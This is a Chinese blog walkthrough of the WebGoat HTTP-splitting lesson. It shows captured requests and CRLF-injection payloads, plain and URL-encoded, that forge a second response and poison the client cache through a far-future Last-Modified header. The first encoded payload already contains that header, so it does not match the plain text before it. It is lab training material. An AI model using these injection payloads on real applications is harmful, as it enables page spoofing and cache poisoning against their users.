WebGoat学习——HTTP 拆分技术 ( HTTP Splitting)

  攻击者在向 Web 服务器正常输入的请求中加入恶意代码,受到攻击的应用不会检查CR(回车,也可表示为%0d或\r)和LF(换行,也可表示为%0a或\n)。这些字符不仅使攻击者控制应用程序打算发送的响应头和响应体,而且还使他们能够完全在其控制下创造更多的答复。HTTP拆分攻击配合缓存污染一起使用,能使效果达到最大化。缓存污染攻击的目标是使缓存污染,欺骗缓存,使其相信使用HTTP拆分劫持的页面是一个很正常的页面,是一个服务器的副本。

  例如,请求用户发送如下请求:

POST http://localhost:8080/WebGoat/lessons/General/redirect.jsp?Screen=3&menu=100 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=C22BD09F3FD4B2C00B95613B2149529F
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

nick=arlen

  服务器返回302,重定向到另一个地址,如下:

HTTP/1.1 302 Moved Temporarily

Server: Apache-Coyote/1.1

Location: http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen

Content-Type: text/html;charset=ISO-8859-1

Content-Length: 0

Date: Wed, 10 Apr 2013 13:43:40 GMT
 

  如果服务器没有对nick参数做限制或者校验,则黑客可以修改nick参数来迫使服务器返回两个答复,可以通过修改nick参数为下面内容:

arlen
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 30

<html>arlentest</html>

  urlencode后得到:

arlen%0D%0AContent-Length%3A+0%0D%0A%0D%0AHTTP%2F1.1+200+OK%0D%0AContent-Type%3A+text%2Fhtml%3Bcharset%3Dutf-8%0D%0ALast-Modified%3A+Thu%2C+01+Jan+2099+12%3A00%3A00+GMT++%0D%0AContent-Length%3A+30%0D%0A%0D%0A%3Chtml%3Earlentest%3C%2Fhtml%3E

  将post中的nick参数值修改成上面字符串重新发送请求,服务器则会返回如下信息:

HTTP/1.1 302 Moved Temporarily

Server: Apache-Coyote/1.1

Location: http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen

Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 30

<html>arlentest</html>

  客户端收到答复后解析到Content-Length: 0,认为内容已经结束,然后处理请求重定向URL地址到http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen,发送第二个请求包

GET http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen HTTP/1.1

Host: localhost:8080

User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20100101 Firefox/20.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen

Cookie: JSESSIONID=C22BD09F3FD4B2C00B95613B2149529F

Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

Connection: keep-alive

  而客户端会认为之前收到的第二个200的答复是属于此请求的,则正常处理,从而达到欺骗用户的目的。

  为了进一步污染客户端的缓存,我们在第二个回报中添加Last-Modified字段,将缓存时间设置的足够长,从而在用户下次请求时仍然返回错误的答复。为了实现上述操作通过修改nick参数:

arlen
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Last-Modified: Thu, 01 Jan 2099 12:00:00 GMT  
Content-Length: 30

<html>arlentest</html>

  urlencode后为:

arlen%0D%0AContent-Length%3A+0%0D%0A%0D%0AHTTP%2F1.1+200+OK%0D%0AContent-Type%3A+text%2Fhtml%3Bcharset%3Dutf-8%0D%0ALast-Modified%3A+Thu%2C+01+Jan+2099+12%3A00%3A00+GMT++%0D%0AContent-Length%3A+30%0D%0A%0D%0A%3Chtml%3Earlentest%3C%2Fhtml%3E

  客户端的回包如下:

HTTP/1.1 302 Moved Temporarily

Server: Apache-Coyote/1.1

Location: http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen

Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Last-Modified: Thu, 01 Jan 2099 12:00:00 GMT  
Content-Length: 30

<html>arlentest</html>

  从而在第二次请求时会迫使客户端对http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen 做缓存,在用户下次进入该页面时仍然打开该攻击页面。

  幸运的是,现在的主流Web服务器比如IIS,Apache HTTP Server以及WebGoat使用的Tomcat等等都有对这个问题作过改进,服务器会对即将发送出去的HTTP响应头里面每一项的值都会做一定的编码或者转换,以避免这个问题。比如Tomcat就响应头中的每一项的值都做过了URLEncode,从而保证即使Web应用存在HTTP应答拆分的漏洞,Web服务器上也从底层平台的角度保证了尽可能避免HTTP应答拆分漏洞带来的威胁。

posted @ 2013-04-10 23:51  arlenhou  阅读(1708)  评论(0编辑  收藏  举报